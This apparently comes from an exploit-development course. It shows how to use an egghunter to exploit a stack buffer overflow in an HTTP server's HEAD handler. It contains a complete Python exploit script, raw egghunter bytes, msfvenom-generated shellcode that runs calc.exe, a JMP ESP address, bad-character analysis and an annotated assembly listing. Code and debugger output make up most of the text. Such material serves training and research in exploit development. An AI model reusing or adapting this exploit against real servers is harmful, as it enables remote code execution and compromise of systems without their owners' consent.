When the buffer space at the crash point is too small for shellcode, egghunters provide a solution. An egghunter is a small piece of code (~32 bytes) that searches memory for a unique marker (“egg”) and jumps to the larger shellcode following it.
When to Use Egghunters
- Limited buffer space after EIP overwrite
- Shellcode stored elsewhere in memory (earlier in the request, another field, etc.)
- Need to locate payload at runtime
Understanding Egghunters
How It Works
- Place full shellcode with an egg marker somewhere in memory
- Overwrite EIP to execute egghunter
- Egghunter searches all memory for the egg
- When found, execution jumps to the shellcode
The Egghunter Pattern:
Stack (limited space ~100 B):
+--------+----------+-------------+
| Junk | JMP ESP | Egghunter |
| 515 B | 4 B | 32 B |
+--------+----------+------+------+
|
EIP -> JMP ESP -+
|
v
Egghunter starts running
|
Scans process memory: |
Page 0x00001000 [invalid] | skip
Page 0x00002000 [invalid] | skip
... |
Page 0x00XXX000 [valid] | scan
v
Heap / other memory region:
+----------+-------------------+
| STRMSTRM | Shellcode (~220B) |
+----------+--------+----------+
^ |
| v
egg found execution jumps hereThe Egg
- 4-byte unique pattern repeated twice:
STRMSTRM - Must not appear anywhere else in the exploit
- Repeated to avoid false positives
The egg tag is repeated twice (8 bytes total, e.g., w00tw00t) to avoid false positives. The egghunter code itself contains the 4-byte tag for comparison, so searching for just 4 bytes would match the egghunter’s own code in memory. By searching for the tag repeated twice, we ensure we only match the actual payload marker.
Initial Analysis
Note
The offset discovery step follows the same pattern used in previous tutorials: generate a cyclic pattern with
pattern create, send it to crash the application, and find the offset withpattern offsetor!mona findmsp. We skip the details here, refer to the Windows Stack Buffer Overflow tutorial for the full process.
Exploit Skeleton
#!/usr/bin/env python3
import socket
payload1 = b"A"*515 + b"BBBB" + b"C"*100
buffer = (
b"HEAD /" + payload1 + b" HTTP/1.1\r\n"
b"Host: 127.0.0.1:8080\r\n"
b"User-Agent: Exploit writer\r\n"
b"Keep-Alive: 115\r\n"
b"Connection: keep-alive\r\n\r\n"
)
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("127.0.0.1", 8080))
expl.send(buffer) # sendall() is preferred for large payloads to ensure all bytes are sent
expl.close()Verify EIP Control
After crashing:
EIP: 42424242Only ~100 bytes available after EIP - not enough for standard shellcode.
Finding JMP ESP
!mona jmp -r esp -cpb "\x00\x0a\x0d"Results:
0x773d10a4 : jmp esp | SHELL32.dll | ASLR: False, SafeSEH: FalseIdentifying Bad Characters
Using mona
!mona config -set workingfolder C:\mona\
!mona bytearray -b "\x00"Send all bytes and compare:
!mona compare -f C:\mona\bytearray.bin -a <ESP_address>Bad Characters Found
\x00\x20\x3f\x00- Null byte\x20- Space (HTTP parsing)\x3f- Question mark (URL parsing)
Generating the Egghunter
!mona egg -t STRMOutput:
Egghunter, tag STRM:
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x53\x54\x52\x4d\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
Put this tag in front of your shellcode: STRMSTRMThe egghunter is only 32 bytes - perfect for limited space.
Generating Shellcode
msfvenom -p windows/exec cmd=calc.exe \
-b "\x00\x20\x3f" \
-f cComplete Exploit
#!/usr/bin/env python3
import socket
# Bad chars: \x00\x20\x3f
# Egghunter (32 bytes) - searches for STRMSTRM
egghunter = (
b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
b"\xef\xb8\x53\x54\x52\x4d\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
)
# Shellcode with egg marker
shellcode = (
b"\xda\xda\xd9\x74\x24\xf4\x5a\xbf\x54\x98\xd7\x97\x31\xc9\xb1"
b"\x31\x31\x7a\x18\x83\xc2\x04\x03\x7a\x40\x7a\x22\x6b\x80\xf8"
b"\xcd\x94\x50\x9d\x44\x71\x61\x9d\x33\xf1\xd1\x2d\x37\x57\xdd"
b"\xc6\x15\x4c\x56\xaa\xb1\x63\xdf\x01\xe4\x4a\xe0\x3a\xd4\xcd"
b"\x62\x41\x09\x2e\x5b\x8a\x5c\x2f\x9c\xf7\xad\x7d\x75\x73\x03"
b"\x92\xf2\xc9\x98\x19\x48\xdf\x98\xfe\x18\xde\x89\x50\x13\xb9"
b"\x09\x52\xf0\xb1\x03\x4c\x15\xff\xda\xe7\xed\x8b\xdc\x21\x3c"
b"\x73\x72\x0c\xf1\x86\x8a\x48\x35\x79\xf9\xa0\x46\x04\xfa\x76"
b"\x35\xd2\x8f\x6c\x9d\x91\x28\x49\x1c\x75\xae\x1a\x12\x32\xa4"
b"\x45\x36\xc5\x69\xfe\x42\x4e\x8c\xd1\xc3\x14\xab\xf5\x88\xcf"
b"\xd2\xac\x74\xa1\xeb\xaf\xd7\x1e\x4e\xbb\xf5\x4b\xe3\xe6\x93"
b"\x8a\x71\x9d\xd1\x8d\x89\x9e\x45\xe6\xb8\x15\x0a\x71\x45\xfc"
b"\x6f\x8d\x0f\x5d\xd9\x06\xd6\x37\x58\x4b\xe9\xed\x9e\x72\x6a"
b"\x04\x5e\x81\x72\x6d\x5b\xcd\x34\x9d\x11\x5e\xd1\xa1\x86\x5f"
b"\xf0\xc1\x49\xcc\x98\x2b\xec\x74\x3a\x34"
)
# Build payload
# Egg + shellcode goes at the beginning (will be found by egghunter)
payload1 = b"STRMSTRM" # Egg marker (8 bytes)
payload1 += shellcode # Full shellcode
payload1 += b"A"*(515-len(payload1)) # Padding to reach EIP
payload1 += b"\xa4\x10\x3d\x77" # JMP ESP (0x773d10a4)
payload1 += egghunter # Egghunter (32 bytes)
payload1 += b"C"*(100-len(egghunter)) # Remaining padding
buffer = (
b"HEAD /" + payload1 + b" HTTP/1.1\r\n"
b"Host: 127.0.0.1:8080\r\n"
b"User-Agent: Exploit writer\r\n"
b"Keep-Alive: 115\r\n"
b"Connection: keep-alive\r\n\r\n"
)
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("127.0.0.1", 8080))
# sendall() ensures all bytes are sent; send() may transmit only a partial payload
expl.sendall(buffer)
expl.close()Execution Flow
1. Send exploit request
2. "HEAD /[EGG+SHELLCODE][PADDING][JMP_ESP][EGGHUNTER] HTTP/1.1..."
3. Crash occurs, EIP = JMP ESP
4. JMP ESP executes egghunter
5. Egghunter searches memory for "STRMSTRM"
- Uses system calls to safely check addresses
- Avoids access violations on invalid memory
6. Finds egg at beginning of request
7. Jumps past egg to shellcode
8. Shellcode executesMemory Layout
HTTP Request in Memory:
Lower Address
| "HEAD /" | STRMSTRM | Shellcode | "A" padding | JMP ESP | Egghunter | " HTTP/..." |
^ |
| v
+---- Egghunter finds this ----<---- Starts hereThe egghunter works because the HTTP request body (containing the egg+shellcode) is stored in a different memory region than the stack overflow point. The small stack buffer can only fit the egghunter (~32 bytes), but the full shellcode is placed in the larger HTTP body, which the application stores elsewhere in heap memory. The egghunter then searches all of process memory to find it.
Egghunter Internals
NtAccessCheckAndAuditAlarm (syscall 0x02) is used by the egghunter to safely probe memory addresses. Unlike a direct memory read, calling this syscall with an invalid address returns an error code (STATUS_ACCESS_VIOLATION) instead of crashing the process. The egghunter checks if the return value is 0xc0000005 and, if so, skips to the next memory page.
Egghunter memory scan logic:
EDX (address pointer)
|
v
Page N: 0x00XX0000 - 0x00XX0FFF
+----------------------------------+
| syscall probe -> ACCESS_VIOLATION|
+----------------------------------+
Result: skip entire page (OR DX, 0x0FFF)
|
v
Page N+1: 0x00XX1000 - 0x00XX1FFF
+----------------------------------+
| syscall probe -> OK (readable) |
| SCASD: compare [EDI] vs "STRM" |
| -> no match, INC EDX, repeat |
| ... |
| SCASD: match first "STRM"! |
| SCASD: match second "STRM"! |
| -> JMP EDI (into shellcode) |
+----------------------------------+; NtAccessCheckAndAuditAlarm technique
loop_inc_page:
or dx, 0x0fff ; Go to last address in page
loop_inc_one:
inc edx ; Next address
push edx ; Save address
push 0x02 ; Syscall: NtAccessCheckAndAuditAlarm
pop eax
int 0x2e ; Syscall
cmp al, 0x05 ; ACCESS_VIOLATION?
pop edx ; Restore address
je loop_inc_page ; If violation, skip page
mov eax, 0x4d525453 ; "STRM" backwards
mov edi, edx
scasd ; Compare [edi] with eax
jne loop_inc_one ; Not found, try next
scasd ; Check second occurrence
jne loop_inc_one ; Not found, try next
jmp edi ; Found! Jump to shellcodescasd (Scan String Doubleword) compares EAX with the 4-byte value at the address pointed to by EDI, then advances EDI by 4 bytes. The egghunter uses two consecutive scasd instructions to search for the 8-byte egg marker.
Tips and Troubleshooting
Egg Not Found
- Verify egg is in memory (search manually in debugger)
- Check if egg bytes are corrupted by bad characters
- Ensure egg is accessible (not in freed memory)
Slow Execution
Egghunters search all memory - can take several seconds. This is normal.
Alternative Egg Placement
The egg + shellcode can be in:
- Earlier part of the same request
- Different HTTP header
- Separate request (if state persists)
- User-Agent field
- Cookie header
Custom Tags
Choose a unique 4-byte tag:
!mona egg -t CUSTAvoid tags that might appear in normal memory.